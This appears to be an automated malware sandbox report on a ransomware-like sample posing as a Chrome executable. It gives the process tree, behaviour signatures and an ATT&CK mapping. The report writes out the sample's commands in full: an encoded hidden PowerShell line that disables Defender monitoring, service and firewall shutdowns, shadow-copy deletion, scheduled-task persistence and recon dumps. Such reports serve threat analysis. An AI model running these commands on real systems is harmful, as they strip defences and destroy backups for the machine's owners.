PID 4660 wrote to memory of 4740	4660	chrome.exe	118
PID 4660 wrote to memory of 2060	4660	chrome.exe	119
PID 4444 wrote to memory of 3204	4444	libecch.io_chrome.exe	120
PID 4660 wrote to memory of 4740	4660	chrome.exe	118
PID 4660 wrote to memory of 2060	4660	chrome.exe	119
PID 4900 wrote to memory of 1016	4900	fodhelper.exe	122
PID 4660 wrote to memory of 5660	4660	chrome.exe	123
PID 4660 wrote to memory of 5660	4660	chrome.exe	123
PID 4444 wrote to memory of 3168	4444	libecch.io_chrome.exe	128
PID 4660 wrote to memory of 2412	4660	chrome.exe	129
PID 4660 wrote to memory of 2412	4660	chrome.exe	129
PID 4444 wrote to memory of 2968	4444	libecch.io_chrome.exe	130
PID 4444 wrote to memory of 5060	4444	libecch.io_chrome.exe	132
PID 4444 wrote to memory of 5572	4444	libecch.io_chrome.exe	135
PID 4444 wrote to memory of 3184	4444	libecch.io_chrome.exe	138
PID 4444 wrote to memory of 4976	4444	libecch.io_chrome.exe	140
PID 4444 wrote to memory of 5992	4444	libecch.io_chrome.exe	142
PID 4444 wrote to memory of 6032	4444	libecch.io_chrome.exe	143
PID 4444 wrote to memory of 5236	4444	libecch.io_chrome.exe	144
PID 4444 wrote to memory of 5496	4444	libecch.io_chrome.exe	145
PID 4444 wrote to memory of 3076	4444	libecch.io_chrome.exe	146
PID 4444 wrote to memory of 6008	4444	libecch.io_chrome.exe	147
PID 4444 wrote to memory of 2900	4444	libecch.io_chrome.exe	193
PID 4444 wrote to memory of 2596	4444	libecch.io_chrome.exe	156
PID 4444 wrote to memory of 2252	4444	libecch.io_chrome.exe	157
PID 4444 wrote to memory of 680	4444	libecch.io_chrome.exe	158
PID 4444 wrote to memory of 4536	4444	libecch.io_chrome.exe	159
PID 4444 wrote to memory of 4712	4444	libecch.io_chrome.exe	161
PID 4444 wrote to memory of 4532	4444	libecch.io_chrome.exe	162
PID 6032 wrote to memory of 4932	6032	cmd.exe	186
PID 3076 wrote to memory of 3712	3076	cmd.exe	168
PID 680 wrote to memory of 5188	680	net.exe	169
PID 6008 wrote to memory of 1820	6008	cmd.exe	198
PID 5992 wrote to memory of 3704	5992	cmd.exe	171
PID 5496 wrote to memory of 5844	5496	cmd.exe	172
PID 5236 wrote to memory of 5756	5236	cmd.exe	173
PID 5844 wrote to memory of 3600	5844	net.exe	174
PID 3184 wrote to memory of 1076	3184	cmd.exe	175
PID 3184 wrote to memory of 3052	3184	cmd.exe	176
PID 4660 wrote to memory of 1036	4660	chrome.exe	179
PID 4660 wrote to memory of 3572	4660	chrome.exe	180
PID 4660 wrote to memory of 3572	4660	chrome.exe	180
PID 4660 wrote to memory of 5828	4660	chrome.exe	182
PID 4660 wrote to memory of 5828	4660	chrome.exe	182

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012
Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
ransomware

C:\Users\Admin\AppData\Local\Temp\libecch.io_chrome.exe
"C:\Users\Admin\AppData\Local\Temp\libecch.io_chrome.exe"
1⤵
- Modifies Windows Defender DisableAntiSpyware settings
- Modifies security service
- Disables RegEdit via registry modification
- Drops file in Drivers directory
- Event Triggered Execution: Image File Execution Options Injection
- Checks computer location settings
- Creates a file in the Startup directory
- Adds Run key to start application
- Drops file in System32 directory
- Sets desktop wallpaper using registry
- Modifies Control Panel
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: GetForegroundWindowSpam
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:4444
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" http://libecch.io
  2⤵
  - Checks processor information in registry
  - Enumerates system info in registry
  - Modifies data under HKEY_USERS
  - Modifies registry class
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of FindShellTrayWindow
  - Suspicious use of SendNotifyMessage
  - Suspicious use of WriteProcessMemory
  PID:4660
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=140.0.7339.81 --initial-client-data=0xf8,0xfc,0x100,0xd4,0x104,0x7fff95b8c728,0x7fff95b8c734,0x7fff95b8c740
    3⤵
    PID:4292
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --no-pre-read-main-dll --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADgAAAIAAAAAAAAAAAAAGAAAQAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --metrics-shmem-handle=1664,i,9208427828431993501,15310219043918030264,262144 --field-trial-handle=1996,i,1148237541390412501,2107076566274130659,262144 --variations-seed-version=20260513-090056.789000-production --mojo-platform-channel-handle=1992 /prefetch:2
    3⤵
    PID:3824
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --metrics-shmem-handle=1560,i,15108975946904229832,67674548977898415,524288 --field-trial-handle=1996,i,1148237541390412501,2107076566274130659,262144 --variations-seed-version=20260513-090056.789000-production --mojo-platform-channel-handle=1956 /prefetch:3
    3⤵
    - System Time Discovery
    PID:4204
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --metrics-shmem-handle=2352,i,6088888463825583748,659352968974224487,524288 --field-trial-handle=1996,i,1148237541390412501,2107076566274130659,262144 --variations-seed-version=20260513-090056.789000-production --mojo-platform-channel-handle=2364 /prefetch:8
    3⤵
    PID:1496
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --metrics-shmem-handle=3124,i,10538968596927406502,11201268317321096395,2097152 --field-trial-handle=1996,i,1148237541390412501,2107076566274130659,262144 --variations-seed-version=20260513-090056.789000-production --mojo-platform-channel-handle=3156 /prefetch:1
    3⤵
    PID:4740
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --metrics-shmem-handle=3136,i,7799699379548515659,3957570210926197654,2097152 --field-trial-handle=1996,i,1148237541390412501,2107076566274130659,262144 --variations-seed-version=20260513-090056.789000-production --mojo-platform-channel-handle=3276 /prefetch:1
    3⤵
    PID:2060
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --metrics-shmem-handle=4448,i,10217775584961008947,14694820315932013153,524288 --field-trial-handle=1996,i,1148237541390412501,2107076566274130659,262144 --variations-seed-version=20260513-090056.789000-production --mojo-platform-channel-handle=4444 /prefetch:8
    3⤵
    PID:5660
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=8 --metrics-shmem-handle=4672,i,18328504148167869034,14212185128570938733,2097152 --field-trial-handle=1996,i,1148237541390412501,2107076566274130659,262144 --variations-seed-version=20260513-090056.789000-production --mojo-platform-channel-handle=4680 /prefetch:1
    3⤵
    PID:2412
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.ProcessorMetrics --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --metrics-shmem-handle=5176,i,11523443931677019328,9155544254231485130,524288 --field-trial-handle=1996,i,1148237541390412501,2107076566274130659,262144 --variations-seed-version=20260513-090056.789000-production --mojo-platform-channel-handle=5180 /prefetch:8
    3⤵
    PID:1036
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --metrics-shmem-handle=5296,i,10225468435214842296,1077392458499514649,524288 --field-trial-handle=1996,i,1148237541390412501,2107076566274130659,262144 --variations-seed-version=20260513-090056.789000-production --mojo-platform-channel-handle=5308 /prefetch:8
    3⤵
    PID:3572
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --metrics-shmem-handle=5264,i,16598112614576648081,3395923290142210877,524288 --field-trial-handle=1996,i,1148237541390412501,2107076566274130659,262144 --variations-seed-version=20260513-090056.789000-production --mojo-platform-channel-handle=5176 /prefetch:8
    3⤵
    PID:5828
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --metrics-shmem-handle=5208,i,3393691635667405066,13692938531437980635,524288 --field-trial-handle=1996,i,1148237541390412501,2107076566274130659,262144 --variations-seed-version=20260513-090056.789000-production --mojo-platform-channel-handle=5284 /prefetch:8
    3⤵
    PID:288
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --extension-process --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=14 --metrics-shmem-handle=5568,i,5875212756500208762,3594886332909475804,2097152 --field-trial-handle=1996,i,1148237541390412501,2107076566274130659,262144 --variations-seed-version=20260513-090056.789000-production --mojo-platform-channel-handle=5616 /prefetch:2
    3⤵
    PID:5652
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=13 --metrics-shmem-handle=5352,i,6388156577736628732,10851899003609908132,2097152 --field-trial-handle=1996,i,1148237541390412501,2107076566274130659,262144 --variations-seed-version=20260513-090056.789000-production --mojo-platform-channel-handle=5596 /prefetch:1
    3⤵
    PID:5164
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --metrics-shmem-handle=5848,i,16980011459550275916,15480668597704060196,524288 --field-trial-handle=1996,i,1148237541390412501,2107076566274130659,262144 --variations-seed-version=20260513-090056.789000-production --mojo-platform-channel-handle=5440 /prefetch:8
    3⤵
    PID:4976
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --metrics-shmem-handle=5196,i,4173884383527898281,13100499213875725642,524288 --field-trial-handle=1996,i,1148237541390412501,2107076566274130659,262144 --variations-seed-version=20260513-090056.789000-production --mojo-platform-channel-handle=4744 /prefetch:8
    3⤵
    PID:1820
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --metrics-shmem-handle=5184,i,7066924123191193144,13143189064628710220,524288 --field-trial-handle=1996,i,1148237541390412501,2107076566274130659,262144 --variations-seed-version=20260513-090056.789000-production --mojo-platform-channel-handle=5444 /prefetch:8
    3⤵
    PID:6060
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --disable-gpu-sandbox --use-gl=disabled --gpu-vendor-id=5140 --gpu-device-id=140 --gpu-sub-system-id=0 --gpu-revision=0 --gpu-driver-version=10.0.19041.546 --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADoAAAIAAAAAAAAAAAAAGAAAQAAAAAAAACEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --metrics-shmem-handle=5568,i,6721240471957056866,12221492314318338598,262144 --field-trial-handle=1996,i,1148237541390412501,2107076566274130659,262144 --variations-seed-version=20260513-090056.789000-production --mojo-platform-channel-handle=4896 /prefetch:8
    3⤵
    PID:2560
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoP -NonI -W Hidden -Exec Bypass -Enc UwBlAHQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARABpAHMAYQBiAGwAZQBSAGUAYQBsAHQAaQBtAGUATQBvAG4AaQB0AG8AcgBpAG4AZwAgACQAdAByAHUAZQA7ACAAUwBlAHQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARABpAHMAYQBiAGwAZQBCAGUAaABhAHYAaQBvAHIATQBvAG4AaQB0AG8AcgBpAG4AZwAgACQAdAByAHUAZQA7ACAAQQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgACIAQwA6AFwAUAByAG8AZwByAGEAbQBEAGEAdABhAFwAUwB5AHMAVQBwAGQAYQB0AGUAIgAgAC0ARgBvAHIAYwBlAA==
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:4104
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" stop wscsvc
  2⤵
  - Launches sc.exe
  PID:3160
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" config wscsvc start= disabled
  2⤵
  - Launches sc.exe
  PID:4844
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" stop SecurityHealthService
  2⤵
  - Launches sc.exe
  PID:2684
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" config SecurityHealthService start= disabled
  2⤵
  - Launches sc.exe
  PID:2380
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" stop WinDefend
  2⤵
  - Launches sc.exe
  PID:1816
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" config WinDefend start= disabled
  2⤵
  - Launches sc.exe
  PID:1040
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" stop MsMpSvc
  2⤵
  - Launches sc.exe
  PID:4316
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" config MsMpSvc start= disabled
  2⤵
  - Launches sc.exe
  PID:5060
- C:\Windows\System32\fodhelper.exe
  "C:\Windows\System32\fodhelper.exe"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:4900
- - C:\Users\Admin\AppData\Local\Temp\libecch.io_chrome.exe
    "C:\Users\Admin\AppData\Local\Temp\libecch.io_chrome.exe"
    3⤵
    PID:1016
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" stop wscsvc
  2⤵
  - Launches sc.exe
  PID:1708
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" stop wuauserv
  2⤵
  - Launches sc.exe
  PID:2212
- C:\Windows\System32\vssadmin.exe
  "C:\Windows\System32\vssadmin.exe" delete shadows /all /quiet
  2⤵
  - Interacts with shadow copies
  PID:1196
- C:\Windows\System32\wbem\WMIC.exe
  "C:\Windows\System32\wbem\WMIC.exe" shadowcopy delete
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:3204
- C:\Windows\System32\wscript.exe
  "C:\Windows\System32\wscript.exe" C:\Users\Admin\AppData\Local\Temp\makelnk.vbs
  2⤵
  - Executes a VBScript file via the Windows Script Host.
  PID:3168
- C:\Windows\System32\schtasks.exe
  "C:\Windows\System32\schtasks.exe" /create /tn "SysUpdateTask" /tr "C:\Users\Admin\AppData\Local\Temp\libecch.io_chrome.exe" /sc onlogon /f
  2⤵
  - Scheduled Task/Job: Scheduled Task
  PID:2968
- C:\Windows\System32\schtasks.exe
  "C:\Windows\System32\schtasks.exe" /create /tn "SysUpdateBackup" /tr "C:\Users\Admin\AppData\Local\Temp\libecch.io_chrome.exe" /sc minute /mo 30 /f
  2⤵
  - Scheduled Task/Job: Scheduled Task
  PID:5060
- C:\Windows\System32\notepad.exe
  "C:\Windows\System32\notepad.exe"
  2⤵
  PID:5572
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\del.bat" "
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:3184
- - C:\Windows\system32\vssadmin.exe
    vssadmin delete shadows /all /quiet
    3⤵
    - Interacts with shadow copies
    PID:1076
- - C:\Windows\System32\Wbem\WMIC.exe
    wmic shadowcopy delete
    3⤵
    PID:3052
- C:\Windows\System32\vssadmin.exe
  "C:\Windows\System32\vssadmin.exe" delete shadows /all /quiet
  2⤵
  - Interacts with shadow copies
  PID:4976
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c systeminfo > "C:\ProgramData\SysUpdate\Logs\sysinfo.txt"
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:5992
- - C:\Windows\system32\systeminfo.exe
    systeminfo
    3⤵
    - Gathers system information
    PID:3704
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c tasklist > "C:\ProgramData\SysUpdate\Logs\tasklist.txt"
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:6032
- - C:\Windows\system32\tasklist.exe
    tasklist
    3⤵
    - Discovers running processes
    PID:4932
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c whoami > "C:\ProgramData\SysUpdate\Logs\whoami.txt"
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:5236
- - C:\Windows\system32\whoami.exe
    whoami
    3⤵
    PID:5756
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c net user > "C:\ProgramData\SysUpdate\Logs\netuser.txt"
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:5496
- - C:\Windows\system32\net.exe
    net user
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:5844
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 user
      4⤵
      PID:3600
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c ipconfig /all > "C:\ProgramData\SysUpdate\Logs\ipconfig.txt"
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:3076
- - C:\Windows\system32\ipconfig.exe
    ipconfig /all
    3⤵
    - Gathers network information
    PID:3712
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c netstat -an > "C:\ProgramData\SysUpdate\Logs\netstat.txt"
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:6008
- - C:\Windows\system32\NETSTAT.EXE
    netstat -an
    3⤵
    - Gathers network information
    PID:1820
- C:\Windows\SYSTEM32\schtasks.exe
  "schtasks" /create /tn "RansomwareCheck" /tr "C:\Users\Admin\AppData\Local\Temp\libecch.io_chrome.exe" /sc daily /f
  2⤵
  - Scheduled Task/Job: Scheduled Task
  PID:2900
- C:\Windows\System32\wscript.exe
  "C:\Windows\System32\wscript.exe" C:\Users\Admin\AppData\Local\Temp\createshortcut.vbs
  2⤵
  - Executes a VBScript file via the Windows Script Host.
  PID:2596
- C:\Windows\System32\wbem\WMIC.exe
  "C:\Windows\System32\wbem\WMIC.exe" shadowcopy delete
  2⤵
  PID:2252
- C:\Windows\System32\net.exe
  "C:\Windows\System32\net.exe" stop srservice
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:680
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 stop srservice
    3⤵
    PID:5188
- C:\Windows\System32\netsh.exe
  "C:\Windows\System32\netsh.exe" advfirewall set allprofiles state off
  2⤵
  - Modifies Windows Firewall
  - Event Triggered Execution: Netsh Helper DLL
  PID:4536
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" config i8042prt start= disabled
  2⤵
  - Launches sc.exe
  PID:4712
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    PID:2380
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" stop i8042prt
  2⤵
  - Launches sc.exe
  PID:4532

C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe
"C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe"
1⤵
PID:5028

C:\Windows\system32\vssvc.exe
C:\Windows\system32\vssvc.exe
1⤵
- Suspicious use of AdjustPrivilegeToken
PID:4140

C:\Users\Admin\AppData\Local\Temp\libecch.io_chrome.exe
C:\Users\Admin\AppData\Local\Temp\libecch.io_chrome.exe
1⤵
PID:5684

C:\Users\Admin\AppData\Local\Temp\libecch.io_chrome.exe
C:\Users\Admin\AppData\Local\Temp\libecch.io_chrome.exe
1⤵
PID:4120

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -p -s NgcSvc
1⤵
PID:2376

C:\Windows\System32\WaaSMedicAgent.exe
C:\Windows\System32\WaaSMedicAgent.exe 35e4eea562cc5fe3cde7ac120a96d3ab BT9M8kc2006/+1AqTAmZpw.0.1.0.0.0
1⤵
PID:4932

C:\Windows\System32\mousocoreworker.exe
C:\Windows\System32\mousocoreworker.exe -Embedding
1⤵
PID:2900

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Visual Basic

T1059.005

Windows Command Shell

T1059.003

Scheduled Task/Job

T1053

Scheduled Task

System Services

T1569

Service Execution

T1569.002

Windows Management Instrumentation

T1047

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

Create or Modify System Process

T1543

Windows Service

Event Triggered Execution

T1546

Image File Execution Options Injection

T1546.012

Netsh Helper DLL

T1546.007

Scheduled Task/Job

T1053

Scheduled Task

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

Create or Modify System Process

T1543

Windows Service

Event Triggered Execution

T1546

Image File Execution Options Injection

T1546.012

Netsh Helper DLL

T1546.007

Scheduled Task/Job

T1053

Scheduled Task

Defense Evasion

Direct Volume Access

T1006

Impair Defenses

T1562

Disable or Modify System Firewall

T1562.004

Disable or Modify Tools

T1562.001

Indicator Removal

T1070

File Deletion

T1070.004

Modify Registry

Credential Access

Credentials from Password Stores

T1555

Credentials from Web Browsers

T1555.003

Unsecured Credentials

T1552

Credentials In Files

T1552.001

Discovery

Browser Information Discovery

T1217

Process Discovery

T1057

Query Registry

System Information Discovery